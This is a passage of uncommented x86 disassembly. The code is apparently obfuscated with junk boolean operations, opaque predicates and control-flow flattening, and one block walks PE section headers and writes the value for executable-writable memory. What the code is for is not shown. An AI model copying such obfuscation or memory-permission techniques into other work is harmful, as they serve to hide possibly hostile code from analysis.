mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, al
and ah, 0xff
and bh, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dl, cl
and dl, ch
or al, dl
mov byte [ebp - 0x7eb], al
mov dl, ah
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, ah
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
mov byte [ebp - 0x7ed], dl
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or bh, bl
or ch, dh
xor bh, ch
xor al, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, bh
xor ch, 0xff
mov dh, ah
xor dh, ch
and dh, ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x7ec], ch
mov bl, 1
xor bl, 1
mov ch, ah
and ch, 0xff
and al, bl
mov byte [ebp - 0x7ef], al
mov al, byte [ebp - 0x7ec]
and al, 0xff
mov byte [ebp - 0x7ee], al
mov al, byte [ebp - 0x7ef]
and cl, bl
or ch, al
mov al, byte [ebp - 0x7ee]
or al, cl
mov cl, byte [ebp - 0x7ed]
xor ch, al
mov al, byte [ebp - 0x7ec]
or ah, al
mov al, byte [ebp - 0x7eb]
xor ah, 0xff
or bl, 1
and ah, bl
or ch, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov bl, ch
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or bl, ch
or dl, ah
xor bl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x7ea], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x7ea]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe4515265
mov ecx, 0xad801497
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0xfd448a60
jmp 0x4c0c7f
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov edi, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xb4e4b9
mov ecx, 0xffffffff
xor ecx, 0xb4e4b9
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb4e4b9
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x69fdb7fe
or eax, edx
or ecx, 0x69fdb7fe
xor eax, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or esi, ecx
mov edx, 0xffffffff
xor edx, 0x40000000
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x5dd19942
or edx, esi
or ecx, 0x5dd19942
xor edx, 0xffffffff
and edx, ecx
mov ecx, eax
and ecx, edx
xor eax, edx
or ecx, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xf82b719b
mov esi, 0xffffffff
xor esi, 0xf82b719b
mov ebx, edi
and ebx, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xf82b719b
and esi, 0xffffffff
or edx, ebx
or eax, esi
xor edx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
or edx, ecx
xor edx, 0xffffffff
mov ecx, edi
xor ecx, edx
and ecx, edi
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xb629ea7d
mov ecx, 0xffffffff
xor ecx, 0xb629ea7d
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb629ea7d
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov ecx, edx
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x4ea3dc96
or eax, edx
or ecx, 0x4ea3dc96
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x55], al
mov dword [ebp - 0x1b4], 0x92a1a9e9
jmp 0x4c0c7f
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
mov edx, ecx
add edx, 0x91251caa
sub edx, 0x2cb8432e
sub edx, 0x91251caa
add edx, 0x369573c
add edx, 0xbe015053
sub edx, 0x369573c
sub edx, 0xc5e35708
add edx, 0x2cb8432e
add edx, 0xc5e35708
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xaa40b19f
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xa02269d7
sub edx, 0xaa40b19f
sub edx, 0xa02269d7
xor edi, edi
sub edi, 0xa01eeab6
sub edi, 0xbe015053
add edi, 0xa01eeab6
xor esi, esi
sub esi, edi
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl bh
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dh, bh
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x842], cl
mov dl, 1
xor dl, 1
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov bl, ah
and bl, 1
mov byte [ebp - 0x844], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x843], al
mov al, byte [ebp - 0x844]
or cl, al
mov al, byte [ebp - 0x843]
or bl, al
mov al, byte [ebp - 0x842]
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov dh, 1
xor dh, 0
and dh, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov cl, bh
and cl, bl
or al, cl
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
xor bh, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or bh, dh
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x841], cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x841]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov ch, cl
and ch, ah
xor cl, 0xff
and al, cl
or ch, al
mov al, dl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov dh, dl
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x83c], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or dh, cl
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, bl
or cl, ah
xor bh, cl
xor al, 0xff
mov ah, 1
xor ah, 1
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, bh
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, 1
xor ah, 1
mov dl, dh
xor dl, ah
and dl, dh
mov byte [ebp - 0x83e], dl
xor ch, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x83d], ah
mov bl, 1
xor bl, 1
mov ah, dl
and ah, 0xff
and al, bl
mov byte [ebp - 0x840], al
mov al, byte [ebp - 0x83d]
and al, 0xff
mov byte [ebp - 0x83f], al
mov al, byte [ebp - 0x840]
and cl, bl
or ah, al
mov al, byte [ebp - 0x83f]
or al, cl
mov cl, byte [ebp - 0x83e]
xor ah, al
mov al, byte [ebp - 0x83d]
or dl, al
mov al, byte [ebp - 0x83c]
xor dl, 0xff
or bl, 1
and dl, bl
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x83b], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
and al, dl
mov ch, ah
and ch, 0
and dh, dl
or cl, al
mov al, byte [ebp - 0x83b]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x83a], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x83a]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9c405e42
mov ecx, 0xa28b9bdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
xor esi, esi
sub esi, 0x7d85090
sub esi, 1
add esi, 0x7d85090
mov edx, 0xdca1dcd7
add edx, 0
add edx, esi
sub edx, 0xdca1dcd7
xor esi, esi
sub esi, 0x1113d5ec
sub esi, eax
add esi, 0x1113d5ec
xor edi, edi
sub edi, 0x24bcace8
sub edi, edx
add edi, 0x24bcace8
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xf03f773a
sub edx, esi
add edx, 0xf03f773a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x88b], al
cmp ecx, 0xa
setl dl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or ch, cl
mov cl, 1
xor cl, 0
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ch, 1
xor ch, 0
and ch, 1
mov ah, 1
xor ah, 1
and ah, 0
or ch, ah
mov ah, ch
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
mov bl, 1
xor bl, 0
mov al, 1
xor al, 1
or ah, bl
or al, 1
xor ah, 0xff
and ah, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov dh, cl
and dh, ah
xor cl, 0xff
and al, cl
or dh, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x89b], al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov cl, dl
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bh, 1
or ah, al
mov al, byte [ebp - 0x89b]
or ch, bh
xor ah, ch
mov ch, 1
xor ch, 1
mov bh, ah
xor bh, ch
and bh, ah
mov ah, 1
xor ah, 1
xor bl, 0xff
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x897], ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x898], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
and ch, 0xff
and al, ah
mov byte [ebp - 0x89a], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x899], al
mov al, byte [ebp - 0x89a]
and cl, ah
or ch, al
mov al, byte [ebp - 0x899]
or al, cl
mov cl, byte [ebp - 0x898]
xor ch, al
mov al, byte [ebp - 0x897]
or cl, bl
xor cl, 0xff
or ah, 1
and cl, ah
or ch, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x894], cl
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and bh, ah
mov byte [ebp - 0x896], bh
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x895], al
mov al, byte [ebp - 0x896]
or cl, al
mov al, byte [ebp - 0x895]
or bh, al
mov al, byte [ebp - 0x894]
xor cl, bh
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and ch, bl
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ah, ch
or al, cl
xor ah, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0x891], bh
xor bh, 0xff
xor bh, 0
and bh, 0
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x893], al
mov ch, 1
xor ch, 1
mov cl, ch
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x892], al
mov al, byte [ebp - 0x893]
and ch, 1
or al, cl
mov cl, byte [ebp - 0x892]
or cl, ch
xor al, cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov ch, 1
xor ch, 0
or al, cl
mov cl, byte [ebp - 0x891]
or ch, 0
xor al, 0xff
and al, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, bl
and ch, bh
xor bl, bh
or ch, bl
mov byte [ebp - 0x88e], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x88d], ch
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and ch, 0xff
and al, bl
mov byte [ebp - 0x890], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x88f], al
mov al, byte [ebp - 0x890]
and cl, bl
or ch, al
mov al, byte [ebp - 0x88f]
or al, cl
mov cl, byte [ebp - 0x88e]
xor ch, al
mov al, byte [ebp - 0x88d]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or ch, al
mov bl, cl
xor bl, 0xff
mov al, ch
and al, bl
xor ch, 0xff
and cl, ch
or al, cl
mov byte [ebp - 0x858], al
mov bl, dh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or bl, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, ch
or al, cl
xor bh, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0x88c], al
mov al, 1
xor al, 1
mov cl, al
and cl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and al, 1
mov byte [ebp - 0x88a], al
mov al, byte [ebp - 0x88c]
or al, cl
mov cl, byte [ebp - 0x88b]
mov byte [ebp - 0x889], al
mov al, byte [ebp - 0x88a]
or ch, al
mov al, byte [ebp - 0x889]
xor al, ch
mov ch, bl
and ch, bh
xor bl, bh
or ch, bl
mov bh, al
and bh, 0
xor al, 0
or bh, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and ch, al
mov al, byte [ebp - 0x858]
or bl, ch
xor bh, 0xff
mov ch, bl
xor ch, bh
and ch, bl
mov byte [ebp - 0x882], ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and cl, bl
or ch, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov cl, 1
xor cl, 1
and cl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov byte [ebp - 0x888], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x887], al
mov al, byte [ebp - 0x888]
and bh, 1
or cl, al
mov al, byte [ebp - 0x887]
or al, bh
xor cl, al
mov al, ch
and al, bl
xor ch, bl
or al, ch
mov byte [ebp - 0x884], al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x883], al
mov bh, 1
xor bh, 0
mov bl, ch
and bl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x886], al
mov al, byte [ebp - 0x883]
and al, 0
mov byte [ebp - 0x885], al
mov al, byte [ebp - 0x886]
and cl, bh
or bl, al
mov al, byte [ebp - 0x885]
or al, cl
mov cl, byte [ebp - 0x884]
xor bl, al
mov al, byte [ebp - 0x883]
or ch, al
mov al, byte [ebp - 0x858]
xor ch, 0xff
or bh, 0
and ch, bh
or bl, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and cl, bh
or ch, cl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov byte [ebp - 0x881], cl
mov bl, 1
xor bl, 0
and bl, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or bl, bh
or cl, ch
xor bl, cl
mov ch, ah
xor ch, 0xff
mov cl, bl
and cl, ch
xor bl, 0xff
mov ch, ah
and ch, bl
or cl, ch
mov ch, ah
xor ch, 0xff
mov bh, cl
xor bh, ch
and bh, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
and al, bl
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or ch, al
mov al, byte [ebp - 0x882]
or cl, bl
xor ch, cl
mov cl, dl
xor cl, 0xff
mov bl, ch
and bl, cl
xor ch, 0xff
mov cl, dl
and cl, ch
or bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ch, al
and ch, cl
mov cl, byte [ebp - 0x881]
or dl, ch
mov byte [ebp - 0x871], dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov cl, byte [ebp - 0x871]
mov byte [ebp - 0x870], ch
mov ch, 1
xor ch, 1
xor cl, ch
mov ch, byte [ebp - 0x871]
and cl, ch
mov ch, byte [ebp - 0x870]
mov byte [ebp - 0x880], cl
xor ch, 0xff
mov cl, al
xor cl, ch
and cl, al
mov ch, 1
xor ch, 1
mov al, dl
xor al, ch
mov ch, byte [ebp - 0x881]
and al, dl
mov byte [ebp - 0x87f], al
mov al, byte [ebp - 0x870]
xor al, 0xff
xor ch, al
mov al, byte [ebp - 0x881]
and ch, al
mov al, byte [ebp - 0x880]
mov byte [ebp - 0x87e], ch
mov ch, al
and ch, cl
xor al, cl
mov cl, byte [ebp - 0x87f]
or ch, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x878], al
mov al, byte [ebp - 0x87e]
xor al, 0xff
mov byte [ebp - 0x877], al
mov al, 1
xor al, 0
mov byte [ebp - 0x876], al
mov al, byte [ebp - 0x878]
and al, 0
mov byte [ebp - 0x87c], al
mov al, byte [ebp - 0x876]
and cl, al
mov al, byte [ebp - 0x87e]
mov byte [ebp - 0x87d], cl
mov cl, byte [ebp - 0x877]
and cl, 0
mov byte [ebp - 0x87b], cl
mov cl, byte [ebp - 0x876]
and al, cl
mov cl, byte [ebp - 0x87d]
mov byte [ebp - 0x87a], al
mov al, byte [ebp - 0x87c]
or al, cl
mov cl, byte [ebp - 0x87b]
mov byte [ebp - 0x879], al
mov al, byte [ebp - 0x87a]
or cl, al
mov al, byte [ebp - 0x879]
xor al, cl
mov cl, byte [ebp - 0x878]
mov byte [ebp - 0x875], al
mov al, byte [ebp - 0x877]
or cl, al
mov al, byte [ebp - 0x876]
xor cl, 0xff
or al, 0
and cl, al
mov al, byte [ebp - 0x875]
or al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x874], cl
mov cl, 1
xor cl, 1
and ch, cl
mov byte [ebp - 0x873], ch
mov ch, al
xor ch, 0xff
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x874]
mov byte [ebp - 0x872], al
mov al, byte [ebp - 0x873]
or cl, al
mov al, byte [ebp - 0x872]
or ch, al
mov al, byte [ebp - 0x871]
xor cl, ch
mov byte [ebp - 0x86a], cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and cl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, cl
mov cl, byte [ebp - 0x870]
or dl, ch
xor al, dl
mov byte [ebp - 0x86d], al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x86c], al
mov al, 1
xor al, 0
mov byte [ebp - 0x86b], al
mov dl, ch
and dl, 0
and al, 1
mov byte [ebp - 0x86f], al
mov al, byte [ebp - 0x86c]
and al, 0
mov byte [ebp - 0x86e], al
mov al, byte [ebp - 0x86b]
and cl, al
mov al, byte [ebp - 0x86f]
or dl, al
mov al, byte [ebp - 0x86e]
or al, cl
mov cl, byte [ebp - 0x86d]
xor dl, al
mov al, byte [ebp - 0x86c]
or ch, al
mov al, byte [ebp - 0x86b]
xor ch, 0xff
or al, 0
and ch, al
mov al, byte [ebp - 0x86a]
or dl, ch
xor dl, 0xff
mov ch, cl
xor ch, dl
and ch, cl
mov byte [ebp - 0x869], ch
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x865], dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x866], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x869]
mov byte [ebp - 0x868], al
mov al, ch
and al, 0
mov byte [ebp - 0x867], al
mov al, byte [ebp - 0x866]
and cl, al
mov al, byte [ebp - 0x868]
or dl, al
mov al, byte [ebp - 0x867]
or al, cl
mov cl, byte [ebp - 0x866]
xor dl, al
mov al, byte [ebp - 0x865]
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, bl
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov ch, bh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x864], al
and bh, al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x863], al
mov al, byte [ebp - 0x864]
and bl, al
mov al, byte [ebp - 0x863]
or ch, bh
or al, bl
xor ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x862], al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov bl, dl
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, bl
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or bl, al
mov al, byte [ebp - 0x862]
or ch, bh
xor bl, ch
xor dl, 0xff
mov bh, bl
xor bh, 0xff
mov ch, 1
xor ch, 0
or dl, bh
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x861], dl
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and al, bh
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or ch, al
mov al, byte [ebp - 0x862]
or dl, bh
xor ch, dl
xor ch, 0xff
mov bh, 1
xor bh, 1
mov dl, 1
xor dl, 0
or ch, bh
mov bh, byte [ebp - 0x861]
or dl, 0
xor ch, 0xff
and ch, dl
xor al, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x85c], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dl
and al, 0
mov byte [ebp - 0x860], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x85e], al
mov al, byte [ebp - 0x861]
and al, bl
mov byte [ebp - 0x85f], al
mov al, byte [ebp - 0x860]
or al, cl
mov cl, byte [ebp - 0x85f]
mov byte [ebp - 0x85d], al
mov al, byte [ebp - 0x85e]
or al, cl
mov cl, byte [ebp - 0x85d]
xor cl, al
mov al, byte [ebp - 0x85c]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or cl, dl
mov dl, ch
xor dl, 0xff
mov byte [ebp - 0x859], dl
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
and dl, 0xff
and ch, bl
mov byte [ebp - 0x85b], ch
mov ch, bh
and ch, 0xff
and al, bl
mov byte [ebp - 0x85a], al
mov al, byte [ebp - 0x85b]
or dl, al
mov al, byte [ebp - 0x85a]
or ch, al
mov al, byte [ebp - 0x859]
